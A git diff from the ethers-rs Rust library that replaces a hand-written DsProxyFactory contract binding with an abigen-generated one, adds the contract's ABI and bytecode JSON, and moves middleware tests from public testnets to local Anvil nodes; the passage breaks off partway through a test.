diff --git a/ethers-contract/tests/it/contract_call.rs b/ethers-contract/tests/it/contract_call.rs index 78c5eb59..878d7064 100644 --- a/ethers-contract/tests/it/contract_call.rs +++ b/ethers-contract/tests/it/contract_call.rs @@ -7,7 +7,7 @@ use std::{ }; fn _contract_call_into_future_is_send() { - abigen!(DsProxyFactory, "ethers-middleware/contracts/DsProxyFactory.json"); + abigen!(DsProxyFactory, "./../ethers-middleware/contracts/DSProxyFactory.json"); let (provider, _) = Provider::mocked(); let client = Arc::new(provider); let contract = DsProxyFactory::new(Address::zero(), client); diff --git a/ethers-contract/tests/it/derive.rs b/ethers-contract/tests/it/derive.rs index a7d65b0a..aa0bd1d0 100644 --- a/ethers-contract/tests/it/derive.rs +++ b/ethers-contract/tests/it/derive.rs @@ -261,8 +261,9 @@ fn can_derive_indexed_and_anonymous_attribute() { #[test] fn can_generate_ethevent_from_json() { - abigen!(DsProxyFactory, - "ethers-middleware/contracts/DsProxyFactory.json", + abigen!( + DsProxyFactory, + "./../ethers-middleware/contracts/DSProxyFactory.json", methods { build(address) as build_with_owner; } diff --git a/ethers-middleware/Cargo.toml b/ethers-middleware/Cargo.toml index 714e01ff..9bec693e 100644 --- a/ethers-middleware/Cargo.toml +++ b/ethers-middleware/Cargo.toml @@ -15,7 +15,9 @@ all-features = true rustdoc-args = ["--cfg", "docsrs"] [dependencies] -ethers-contract = { version = "^1.0.0", path = "../ethers-contract", default-features = false } +ethers-contract = { version = "^1.0.0", path = "../ethers-contract", default-features = false, features = [ + "abigen", +] } ethers-core = { version = "^1.0.0", path = "../ethers-core", default-features = false } ethers-etherscan = { version = "^1.0.0", path = "../ethers-etherscan", default-features = false } ethers-providers = { version = "^1.0.0", path = "../ethers-providers", default-features = false } @@ -41,14 +43,15 @@ instant = { version = "0.1.12", features = ["now"] } tokio = { version = "1.18" } [dev-dependencies] -hex = { version = "0.4.3", default-features = false, features = ["std"] } -rand = { version = "0.8.5", default-features = false } ethers-providers = { version = "^1.0.0", path = "../ethers-providers", default-features = false, features = [ "ws", "rustls", ] } -once_cell = "1.17.1" ethers-solc = { version = "^1.0.0", path = "../ethers-solc" } + +hex = { version = "0.4.3", default-features = false, features = ["std"] } +rand = { version = "0.8.5", default-features = false } +once_cell = "1.17.1" serial_test = "0.10.0" reqwest = { version = "0.11.14", default-features = false, features = ["json", "rustls"] } diff --git a/ethers-middleware/contracts/DSProxyFactory.json b/ethers-middleware/contracts/DSProxyFactory.json new file mode 100644 index 00000000..c474a072 --- /dev/null +++ b/ethers-middleware/contracts/DSProxyFactory.json @@ -0,0 +1 @@ +{"abi":[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"proxy","type":"address"},{"indexed":false,"internalType":"address","name":"cache","type":"address"}],"name":"Created","type":"event"},{"inputs":[],"name":"build","outputs":[{"internalType":"contract DSProxy","name":"proxy","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"build","outputs":[{"internalType":"contract DSProxy","name":"proxy","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cache","outputs":[{"internalType":"contract DSProxyCache","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isProxy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}],"bytecode":"60806040526040516100109061005f565b604051809103906000f08015801561002c573d6000803e3d6000fd5b50600180546001600160a01b0319166001600160a01b039290921691909117905534801561005957600080fd5b5061006c565b61020780610e7683390190565b610dfb8061007b6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063297103881461005157806360c7d295146100895780638e1a55fc146100b4578063f3701da2146100bc575b600080fd5b61007461005f366004610208565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b60015461009c906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b61009c6100cf565b61009c6100ca366004610208565b6100df565b60006100da336100df565b905090565b6001546040516000916001600160a01b0316906100fb906101fb565b6001600160a01b039091168152602001604051809103906000f080158015610127573d6000803e3d6000fd5b50600154604080516001600160a01b03808516825292831660208201529293509084169133917f259b30ca39885c6d801a0b5dbc988640f3c25e2f37531fe138c5c5af8955d41b910160405180910390a36040516313af403560e01b81526001600160a01b0383811660048301528216906313af403590602401600060405180830381600087803b1580156101bb57600080fd5b505af11580156101cf573d6000803e3d6000fd5b5050506001600160a01b0382166000908152602081905260409020805460ff1916600117905550919050565b610b8d8061023983390190565b60006020828403121561021a57600080fd5b81356001600160a01b038116811461023157600080fd5b939250505056fe608060405234801561001057600080fd5b50604051610b8d380380610b8d83398101604081905261002f91610239565b600180546001600160a01b031916339081179091556040517fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a261007681610085565b61007f57600080fd5b506102c1565b600061009c336001600160e01b031983351661015c565b6100ec5760405162461bcd60e51b815260206004820152601460248201527f64732d617574682d756e617574686f72697a6564000000000000000000000000604482015260640160405180910390fd5b600435602435346001600160a01b03851661010657600080fd5b600280546001600160a01b0387166001600160a01b031990911617905560405160019450829084903390600080356001600160e01b0319169161014c9187913690610269565b60405180910390a4505050919050565b6000306001600160a01b0384160361017657506001610233565b6001546001600160a01b039081169084160361019457506001610233565b6000546001600160a01b03166101ac57506000610233565b60005460405163b700961360e01b81526001600160a01b0385811660048301523060248301526001600160e01b0319851660448301529091169063b700961390606401602060405180830381865afa15801561020c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610230919061029f565b90505b92915050565b60006020828403121561024b57600080fd5b81516001600160a01b038116811461026257600080fd5b9392505050565b83815260406020820152816040820152818360608301376000818301606090810191909152601f909201601f1916010192915050565b6000602082840312156102b157600080fd5b8151801515811461026257600080fd5b6108bd806102d06000396000f3fe6080604052600436106100795760003560e01c80637a9e5e4b1161004b5780637a9e5e4b146101325780638da5cb5b14610152578063948f507614610172578063bf7e214f146101a257005b806313af4035146100825780631cff79cd146100a25780631f6a1eb9146100c857806360c7d295146100fa57005b3661008057005b005b34801561008e57600080fd5b5061008061009d366004610625565b6101c2565b6100b56100b03660046106ec565b610247565b6040519081526020015b60405180910390f35b6100db6100d636600461073c565b610303565b604080516001600160a01b0390931683526020830191909152016100bf565b34801561010657600080fd5b5060025461011a906001600160a01b031681565b6040516001600160a01b0390911681526020016100bf565b34801561013e57600080fd5b5061008061014d366004610625565b610412565b34801561015e57600080fd5b5060015461011a906001600160a01b031681565b34801561017e57600080fd5b5061019261018d366004610625565b61048c565b60405190151581526020016100bf565b3480156101ae57600080fd5b5060005461011a906001600160a01b031681565b6101d8336000356001600160e01b031916610530565b6101fd5760405162461bcd60e51b81526004016101f490610796565b60405180910390fd5b600180546001600160a01b0319166001600160a01b0383169081179091556040517fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b600061025f336000356001600160e01b031916610530565b61027b5760405162461bcd60e51b81526004016101f490610796565b600435602435346001600160a01b03861661029557600080fd5b60206000865160208801896113885a03f460005194508015600181036102ba57600080fd5b50508183336001600160a01b03166000356001600160e01b0319166001600160e01b031916846000366040516102f2939291906107c4565b60405180910390a450505092915050565b6002546040516322fd145760e21b815260009182916001600160a01b0390911690638bf4515c906103389087906004016107fa565b602060405180830381865afa158015610355573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103799190610848565b91506001600160a01b0382166103ff57600254604051633f6861d960e11b81526001600160a01b0390911690637ed0c3b2906103b99087906004016107fa565b6020604051808303816000875af11580156103d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fc9190610848565b91505b6104098284610247565b90509250929050565b610428336000356001600160e01b031916610530565b6104445760405162461bcd60e51b81526004016101f490610796565b600080546001600160a01b0319166001600160a01b038316908117825560405190917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b60006104a4336000356001600160e01b031916610530565b6104c05760405162461bcd60e51b81526004016101f490610796565b600435602435346001600160a01b0385166104da57600080fd5b600280546001600160a01b0387166001600160a01b031990911617905560405160019450829084903390600080356001600160e01b0319169161052091879136906107c4565b60405180910390a4505050919050565b6000306001600160a01b0384160361054a57506001610607565b6001546001600160a01b039081169084160361056857506001610607565b6000546001600160a01b031661058057506000610607565b60005460405163b700961360e01b81526001600160a01b0385811660048301523060248301526001600160e01b0319851660448301529091169063b700961390606401602060405180830381865afa1580156105e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106049190610865565b90505b92915050565b6001600160a01b038116811461062257600080fd5b50565b60006020828403121561063757600080fd5b81356106428161060d565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261067057600080fd5b813567ffffffffffffffff8082111561068b5761068b610649565b604051601f8301601f19908116603f011681019082821181831017156106b3576106b3610649565b816040528381528660208588010111156106cc57600080fd5b836020870160208301376000602085830101528094505050505092915050565b600080604083850312156106ff57600080fd5b823561070a8161060d565b9150602083013567ffffffffffffffff81111561072657600080fd5b6107328582860161065f565b9150509250929050565b6000806040838503121561074f57600080fd5b823567ffffffffffffffff8082111561076757600080fd5b6107738683870161065f565b9350602085013591508082111561078957600080fd5b506107328582860161065f565b602080825260149082015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604082015260600190565b83815260406020820152816040820152818360608301376000818301606090810191909152601f909201601f1916010192915050565b600060208083528351808285015260005b818110156108275785810183015185820160400152820161080b565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561085a57600080fd5b81516106428161060d565b60006020828403121561087757600080fd5b8151801515811461064257600080fdfea26469706673582212205fd82ffa4dee296c48714a3bc029a53d744182ae006fc2de40e95c978e5484d164736f6c63430008130033a2646970667358221220374bcf12d6c6e67b317ce638a4e5c9105031ebc5efd063eaef3ecb4f3b2747fe64736f6c63430008130033608060405234801561001057600080fd5b506101e7806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80637ed0c3b21461003b5780638bf4515c1461006a575b600080fd5b61004e610049366004610100565b61009a565b6040516001600160a01b03909116815260200160405180910390f35b61004e610078366004610100565b805160209182012060009081529081905260409020546001600160a01b031690565b60008151602083016000f09050803b15600181036100b757600080fd5b508151602092830120600090815291829052604090912080546001600160a01b0319166001600160a01b03831617905590565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561011257600080fd5b813567ffffffffffffffff8082111561012a57600080fd5b818401915084601f83011261013e57600080fd5b813581811115610150576101506100ea565b604051601f8201601f19908116603f01168101908382118183101715610178576101786100ea565b8160405282815287602084870101111561019157600080fd5b82602086016020830137600092810160200192909252509594505050505056fea2646970667358221220a9c9fca6107ebf965fd78397d3d7ac4d975d83d669bafda1a35ff53fcfa20f1f64736f6c63430008130033"} diff --git a/ethers-middleware/contracts/DsProxyFactory.json b/ethers-middleware/contracts/DsProxyFactory.json deleted file mode 100644 index 72161d66..00000000 --- a/ethers-middleware/contracts/DsProxyFactory.json +++ /dev/null @@ -1,95 +0,0 @@ -[ - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "isProxy", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "cache", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [], - "name": "build", - "outputs": [ - { - "name": "proxy", - "type": "address" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "owner", - "type": "address" - } - ], - "name": "build", - "outputs": [ - { - "name": "proxy", - "type": "address" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "sender", - "type": "address" - }, - { - "indexed": true, - "name": "owner", - "type": "address" - }, - { - "indexed": false, - "name": "proxy", - "type": "address" - }, - { - "indexed": false, - "name": "cache", - "type": "address" - } - ], - "name": "Created", - "type": "event" - } -] \ No newline at end of file diff --git a/ethers-middleware/src/signer.rs b/ethers-middleware/src/signer.rs index 1a58129f..648d2039 100644 --- a/ethers-middleware/src/signer.rs +++ b/ethers-middleware/src/signer.rs @@ -499,6 +499,9 @@ mod tests { None, ) .await + .unwrap() + .await + .unwrap() .unwrap(); let client = SignerMiddleware::new_with_provider_chain(provider, key).await.unwrap(); diff --git a/ethers-middleware/src/transformer/ds_proxy/factory.rs b/ethers-middleware/src/transformer/ds_proxy/factory.rs index 665d5059..2572e74e 100644 --- a/ethers-middleware/src/transformer/ds_proxy/factory.rs +++ b/ethers-middleware/src/transformer/ds_proxy/factory.rs @@ -1,204 +1,20 @@ -use ethers_contract::Lazy; -use ethers_core::types::*; +use ethers_contract::{abigen, Lazy}; +use ethers_core::types::{Address, U256}; use std::collections::HashMap; /// A lazily computed hash map with the Ethereum network IDs as keys and the corresponding /// DsProxyFactory contract addresses as values pub static ADDRESS_BOOK: Lazy> = Lazy::new(|| { - let mut m = HashMap::with_capacity(1); - - // mainnet - let addr = "eefba1e63905ef1d7acba5a8513c70307c1ce441".parse().unwrap(); - m.insert(U256::from(1_u64), addr); - - m + HashMap::from([ + // Mainnet + (U256::from(1_u64), "eefba1e63905ef1d7acba5a8513c70307c1ce441".parse().unwrap()), + ]) }); -/// Generated with abigen: -/// -/// ```ignore -/// # use ethers_contract::abigen; -/// abigen!(DsProxyFactory, -/// "ethers-middleware/contracts/DsProxyFactory.json", -/// methods { -/// build() as build_with_sender; -/// } -/// ); -/// ``` -pub use dsproxyfactory_mod::*; -#[allow(clippy::too_many_arguments)] -mod dsproxyfactory_mod { - #![allow(dead_code)] - #![allow(unused_imports)] - use ethers_contract::{ - builders::{ContractCall, Event}, - Contract, EthEvent, Lazy, - }; - use ethers_core::{ - abi::{ - parse_abi, Abi, Detokenize, InvalidOutputType, ParamType, Token, Tokenizable, - TokenizableItem, - }, - types::*, - }; - use ethers_providers::Middleware; - #[doc = "DsProxyFactory was auto-generated with ethers-rs Abigen. More information at: "] - use std::sync::Arc; - - pub static DSPROXYFACTORY_ABI: Lazy = Lazy::new(|| { - serde_json :: from_str ("[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"isProxy\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"cache\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"build\",\"outputs\":[{\"name\":\"proxy\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"build\",\"outputs\":[{\"name\":\"proxy\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"sender\",\"type\":\"address\"},{\"indexed\":true,\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"proxy\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"cache\",\"type\":\"address\"}],\"name\":\"Created\",\"type\":\"event\"}]\n") . expect ("invalid abi") - }); - pub struct DsProxyFactory(Contract); - impl Clone for DsProxyFactory { - fn clone(&self) -> Self { - DsProxyFactory(self.0.clone()) - } +abigen!( + DsProxyFactory, + "./contracts/DSProxyFactory.json", + methods { + build() as build_with_sender; } - impl std::ops::Deref for DsProxyFactory { - type Target = Contract; - fn deref(&self) -> &Self::Target { - &self.0 - } - } - impl std::fmt::Debug for DsProxyFactory { - fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { - f.debug_tuple(stringify!(DsProxyFactory)).field(&self.address()).finish() - } - } - impl DsProxyFactory { - #[doc = r" Creates a new contract instance with the specified `ethers`"] - #[doc = r" client at the given `Address`. The contract derefs to a `ethers::Contract`"] - #[doc = r" object"] - pub fn new>(address: T, client: Arc) -> Self { - let contract = Contract::new(address.into(), DSPROXYFACTORY_ABI.clone(), client); - Self(contract) - } - #[doc = "Calls the contract's `isProxy` (0x29710388) function"] - pub fn is_proxy(&self, p0: Address) -> ContractCall { - self.0 - .method_hash([41, 113, 3, 136], p0) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `build` (0x8e1a55fc) function - pub fn build_with_sender(&self) -> ContractCall { - self.0 - .method_hash([142, 26, 85, 252], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `build` (0xf3701da2) function - pub fn build(&self, owner: Address) -> ContractCall { - self.0 - .method_hash([243, 112, 29, 162], owner) - .expect("method not found (this should never happen)") - } - #[doc = "Calls the contract's `cache` (0x60c7d295) function"] - pub fn cache(&self) -> ContractCall { - self.0 - .method_hash([96, 199, 210, 149], ()) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `Created` event - pub fn created_filter(&self) -> Event, M, CreatedFilter> { - self.0.event() - } - - /// Returns an [`Event`](ethers_contract::builders::Event) builder for all events of this - /// contract - pub fn events(&self) -> Event, M, CreatedFilter> { - self.0.event_with_filter(Default::default()) - } - } - - #[derive(Clone, Debug, Default, Eq, PartialEq)] - pub struct CreatedFilter { - pub sender: Address, - pub owner: Address, - pub proxy: Address, - pub cache: Address, - } - - impl ethers_core::abi::AbiType for CreatedFilter { - fn param_type() -> ParamType { - ParamType::Tuple(::std::vec![ - ParamType::Address; 4 - ]) - } - } - impl ethers_core::abi::AbiArrayType for CreatedFilter {} - - impl Tokenizable for CreatedFilter { - fn from_token(token: Token) -> Result - where - Self: Sized, - { - if let Token::Tuple(tokens) = token { - if tokens.len() != 4usize { - return Err(InvalidOutputType(format!( - "Expected {} tokens, got {}: {:?}", - 4usize, - tokens.len(), - tokens - ))) - } - let mut iter = tokens.into_iter(); - Ok(Self { - sender: Tokenizable::from_token(iter.next().unwrap())?, - owner: Tokenizable::from_token(iter.next().unwrap())?, - proxy: Tokenizable::from_token(iter.next().unwrap())?, - cache: Tokenizable::from_token(iter.next().unwrap())?, - }) - } else { - Err(InvalidOutputType(format!("Expected Tuple, got {token:?}"))) - } - } - fn into_token(self) -> Token { - Token::Tuple(::std::vec![ - self.sender.into_token(), - self.owner.into_token(), - self.proxy.into_token(), - self.cache.into_token(), - ]) - } - } - impl TokenizableItem for CreatedFilter {} - - impl ethers_contract::EthEvent for CreatedFilter { - fn name() -> std::borrow::Cow<'static, str> { - "Created".into() - } - fn signature() -> H256 { - H256([ - 37, 155, 48, 202, 57, 136, 92, 109, 128, 26, 11, 93, 188, 152, 134, 64, 243, 194, - 94, 47, 55, 83, 31, 225, 56, 197, 197, 175, 137, 85, 212, 27, - ]) - } - fn abi_signature() -> std::borrow::Cow<'static, str> { - "Created(address,address,address,address)".into() - } - fn decode_log(log: ðers_core::abi::RawLog) -> Result - where - Self: Sized, - { - let ethers_core::abi::RawLog { data, topics } = log; - let event_signature = topics.get(0).ok_or(ethers_core::abi::Error::InvalidData)?; - if event_signature != &Self::signature() { - return Err(ethers_core::abi::Error::InvalidData) - } - let topic_types = ::std::vec![ParamType::Address, ParamType::Address]; - let data_types = [ParamType::Address, ParamType::Address]; - let flat_topics = - topics.iter().skip(1).flat_map(|t| t.as_ref().to_vec()).collect::>(); - let topic_tokens = ethers_core::abi::decode(&topic_types, &flat_topics)?; - if topic_tokens.len() != topics.len() - 1 { - return Err(ethers_core::abi::Error::InvalidData) - } - let data_tokens = ethers_core::abi::decode(&data_types, data)?; - let tokens: Vec<_> = topic_tokens.into_iter().chain(data_tokens.into_iter()).collect(); - Tokenizable::from_token(Token::Tuple(tokens)) - .map_err(|_| ethers_core::abi::Error::InvalidData) - } - fn is_anonymous() -> bool { - false - } - } -} +); diff --git a/ethers-middleware/src/transformer/ds_proxy/mod.rs b/ethers-middleware/src/transformer/ds_proxy/mod.rs index d97e7a16..3819d085 100644 --- a/ethers-middleware/src/transformer/ds_proxy/mod.rs +++ b/ethers-middleware/src/transformer/ds_proxy/mod.rs @@ -1,4 +1,4 @@ -mod factory; +pub mod factory; use factory::{CreatedFilter, DsProxyFactory, ADDRESS_BOOK}; use super::{Transformer, TransformerError}; @@ -18,7 +18,6 @@ const DS_PROXY_EXECUTE_TARGET: &str = const DS_PROXY_EXECUTE_CODE: &str = "function execute(bytes memory code, bytes memory data) public payable returns (address target, bytes memory response)"; -#[derive(Debug, Clone)] /// Represents the DsProxy type that implements the [Transformer](super::Transformer) trait. /// /// # Example @@ -57,6 +56,7 @@ const DS_PROXY_EXECUTE_CODE: &str = /// # Ok(()) /// # } /// ``` +#[derive(Clone, Debug)] pub struct DsProxy { address: Address, contract: BaseContract, diff --git a/ethers-middleware/src/transformer/mod.rs b/ethers-middleware/src/transformer/mod.rs index 4bd1542e..09aaf86f 100644 --- a/ethers-middleware/src/transformer/mod.rs +++ b/ethers-middleware/src/transformer/mod.rs @@ -1,4 +1,4 @@ -mod ds_proxy; +pub mod ds_proxy; pub use ds_proxy::DsProxy; mod middleware; diff --git a/ethers-middleware/tests/it/gas_escalator.rs b/ethers-middleware/tests/it/gas_escalator.rs index 38ed7dda..903746a1 100644 --- a/ethers-middleware/tests/it/gas_escalator.rs +++ b/ethers-middleware/tests/it/gas_escalator.rs @@ -1,40 +1,41 @@ -use ethers_core::types::*; +use ethers_core::{types::*, utils::Anvil}; use ethers_middleware::{ gas_escalator::{Frequency, GasEscalatorMiddleware, GeometricGasPrice}, - signer::SignerMiddleware, + MiddlewareBuilder, }; -use ethers_providers::Middleware; +use ethers_providers::{Http, Middleware, Provider}; use ethers_signers::{LocalWallet, Signer}; -use std::time::Duration; #[tokio::test] #[ignore] -async fn gas_escalator_live() { - // connect to ropsten for getting bad block times - #[allow(deprecated)] - let provider = ethers_providers::ROPSTEN.ws().await; - let provider = provider.interval(Duration::from_millis(2000u64)); - let wallet = "fdb33e2105f08abe41a8ee3b758726a31abdd57b7a443f470f23efce853af169" - .parse::() - .unwrap(); +async fn gas_escalator() { + let anvil = Anvil::new().block_time(2u64).spawn(); + let chain_id = anvil.chain_id(); + let provider = Provider::::try_from(anvil.endpoint()).unwrap(); + + // wrap with signer + let wallet: LocalWallet = anvil.keys().first().unwrap().clone().into(); + let wallet = wallet.with_chain_id(chain_id); let address = wallet.address(); - let provider = SignerMiddleware::new(provider, wallet); + let provider = provider.with_signer(wallet); + // wrap with escalator let escalator = GeometricGasPrice::new(5.0, 10u64, Some(2_000_000_000_000u64)); - - let provider = GasEscalatorMiddleware::new(provider, escalator, Frequency::Duration(3000)); + let provider = GasEscalatorMiddleware::new(provider, escalator, Frequency::Duration(300)); let nonce = provider.get_transaction_count(address, None).await.unwrap(); - let tx = TransactionRequest::pay(Address::zero(), 1u64).gas_price(10_000_000); + // 1 gwei default base fee + let gas_price = U256::from(1_000_000_000_u64); + let tx = TransactionRequest::pay(Address::zero(), 1u64) + .gas_price(gas_price) + .nonce(nonce) + .chain_id(chain_id); - // broadcast 3 txs - provider.send_transaction(tx.clone().nonce(nonce), None).await.unwrap(); - provider.send_transaction(tx.clone().nonce(nonce + 1), None).await.unwrap(); - provider.send_transaction(tx.clone().nonce(nonce + 2), None).await.unwrap(); - - // Wait a bunch of seconds and refresh etherscan to see the transactions get bumped - tokio::time::sleep(Duration::from_secs(100)).await; - - // TODO: Figure out how to test this behavior properly in a local network. If the gas price was - // bumped then the tx hash will be different + eprintln!("sending"); + let pending = provider.send_transaction(tx, None).await.expect("could not send"); + eprintln!("waiting"); + let receipt = pending.await.expect("reverted").expect("dropped"); + assert_eq!(receipt.from, address); + assert_eq!(receipt.to, Some(Address::zero())); + assert!(receipt.effective_gas_price.unwrap() > gas_price * 2, "{receipt:?}"); } diff --git a/ethers-middleware/tests/it/main.rs b/ethers-middleware/tests/it/main.rs index 66535dc7..c392b94d 100644 --- a/ethers-middleware/tests/it/main.rs +++ b/ethers-middleware/tests/it/main.rs @@ -1,19 +1,49 @@ #![allow(clippy::extra_unused_type_parameters)] #![cfg(not(target_arch = "wasm32"))] +use ethers_core::utils::{Anvil, AnvilInstance}; +use ethers_providers::{Http, Provider, Ws}; +use ethers_signers::{LocalWallet, Signer}; +use std::time::Duration; + mod builder; mod gas_escalator; mod gas_oracle; +// #[cfg(not(feature = "celo"))] mod signer; -#[cfg(not(feature = "celo"))] +// #[cfg(not(feature = "celo"))] mod nonce_manager; -#[cfg(not(feature = "celo"))] +// #[cfg(not(feature = "celo"))] mod stack; -#[cfg(not(feature = "celo"))] +// #[cfg(not(feature = "celo"))] mod transformer; + +/// Spawns Anvil and instantiates an HTTP provider. +pub fn spawn_anvil() -> (Provider, AnvilInstance) { + let anvil = Anvil::new().spawn(); + let provider = Provider::::try_from(anvil.endpoint()) + .unwrap() + .interval(Duration::from_millis(10u64)); + (provider, anvil) +} + +/// Spawns Anvil and instantiates a WS provider. +pub async fn spawn_anvil_ws() -> (Provider, AnvilInstance) { + let anvil = Anvil::new().spawn(); + let provider = Provider::::connect(anvil.ws_endpoint()) + .await + .unwrap() + .interval(Duration::from_millis(10u64)); + (provider, anvil) +} + +/// Gets `idx` wallet from the given anvil instance. +pub fn get_wallet(anvil: &AnvilInstance, idx: usize) -> LocalWallet { + LocalWallet::from(anvil.keys()[idx].clone()).with_chain_id(anvil.chain_id()) +} diff --git a/ethers-middleware/tests/it/nonce_manager.rs b/ethers-middleware/tests/it/nonce_manager.rs index b4c2041d..61b88f57 100644 --- a/ethers-middleware/tests/it/nonce_manager.rs +++ b/ethers-middleware/tests/it/nonce_manager.rs @@ -1,16 +1,13 @@ -use ethers_core::{types::*, utils::Anvil}; +use crate::spawn_anvil; +use ethers_core::types::*; use ethers_middleware::MiddlewareBuilder; -use ethers_providers::{Http, Middleware, Provider}; +use ethers_providers::Middleware; #[tokio::test] async fn nonce_manager() { - let anvil = Anvil::new().spawn(); - let endpoint = anvil.endpoint(); - - let provider = Provider::::try_from(endpoint).unwrap(); - let accounts = provider.get_accounts().await.unwrap(); - let address = accounts[0]; - let to = accounts[1]; + let (provider, anvil) = spawn_anvil(); + let address = anvil.addresses()[0]; + let to = anvil.addresses()[1]; // the nonce manager must be over the Client so that it overrides the nonce // before the client gets it diff --git a/ethers-middleware/tests/it/signer.rs b/ethers-middleware/tests/it/signer.rs index f074db07..cf221018 100644 --- a/ethers-middleware/tests/it/signer.rs +++ b/ethers-middleware/tests/it/signer.rs @@ -1,356 +1,140 @@ -#![allow(unused_imports)] +use crate::{get_wallet, spawn_anvil, spawn_anvil_ws}; +use ethers_core::types::*; +use ethers_middleware::{signer::SignerMiddleware, MiddlewareBuilder}; +use ethers_providers::{JsonRpcClient, Middleware}; +use ethers_signers::{LocalWallet, Signer}; -use ethers_contract::ContractFactory; -use ethers_core::{abi::Abi, types::*, utils::parse_ether}; -use ethers_middleware::signer::SignerMiddleware; -use ethers_providers::{Http, JsonRpcClient, Middleware, Provider}; -use ethers_signers::{coins_bip39::English, LocalWallet, MnemonicBuilder, Signer}; -use ethers_solc::Solc; -use once_cell::sync::Lazy; -use std::{ - convert::TryFrom, - sync::{atomic::AtomicU8, Arc}, - time::Duration, -}; +#[tokio::test] +async fn send_eth() { + let (provider, anvil) = spawn_anvil(); + let wallet = get_wallet(&anvil, 0); + let address = wallet.address(); + let provider = provider.with_signer(wallet); -#[allow(dead_code)] -static WALLETS: Lazy = Lazy::new(|| { - TestWallets { - mnemonic: MnemonicBuilder::default() - // Please don't drain this :) - .phrase("impose air often almost medal sudden finish quote dwarf devote theme layer"), - next: Default::default(), - } -}); + let to = anvil.addresses()[1]; -#[derive(Debug, Default)] -#[allow(dead_code)] -struct TestWallets { - mnemonic: MnemonicBuilder, - next: AtomicU8, + // craft the transaction + let tx = TransactionRequest::new().to(to).value(10000); + + let balance_before = provider.get_balance(address, None).await.unwrap(); + + // send it! + provider.send_transaction(tx, None).await.unwrap().await.unwrap().unwrap(); + + let balance_after = provider.get_balance(address, None).await.unwrap(); + + assert!(balance_before > balance_after); } -#[allow(dead_code)] -impl TestWallets { - /// Helper for funding the wallets with an instantiated provider - #[allow(unused)] - pub async fn fund>(&self, provider: &Provider, n: U) { - let addrs = (0..n.into()).map(|i| self.get(i).address()).collect::>(); - // hardcoded funder address private key, GOERLI - let signer = "9867bd0f8d9e16c57f5251b35a73f6f903eb8eee1bdc7f15256d0dc09d1945fb" - .parse::() - .unwrap() - .with_chain_id(provider.get_chainid().await.unwrap().as_u64()); - let provider = SignerMiddleware::new(provider, signer); - let addr = provider.address(); - - let mut nonce = provider.get_transaction_count(addr, None).await.unwrap(); - let mut pending_txs = Vec::new(); - for addr in addrs { - println!("Funding wallet {addr:?}"); - let tx = TransactionRequest::new() - .nonce(nonce) - .to(addr) - // 0.1 eth per wallet - .value(parse_ether("1").unwrap()); - pending_txs.push( - provider.send_transaction(tx, Some(BlockNumber::Pending.into())).await.unwrap(), - ); - nonce += 1.into(); - } - - futures_util::future::join_all(pending_txs).await; - } - - pub fn next(&self) -> LocalWallet { - let idx = self.next.fetch_add(1, std::sync::atomic::Ordering::SeqCst); - - // println!("Got wallet {:?}", wallet.address()); - self.get(idx) - } - - pub fn get>(&self, idx: T) -> LocalWallet { - self.mnemonic - .clone() - .index(idx) - .expect("index not found") - .build() - .expect("cannot build wallet") - } +#[tokio::test] +async fn pending_txs_with_confirmations_testnet() { + let (provider, anvil) = spawn_anvil(); + let wallet = get_wallet(&anvil, 0); + let address = wallet.address(); + let provider 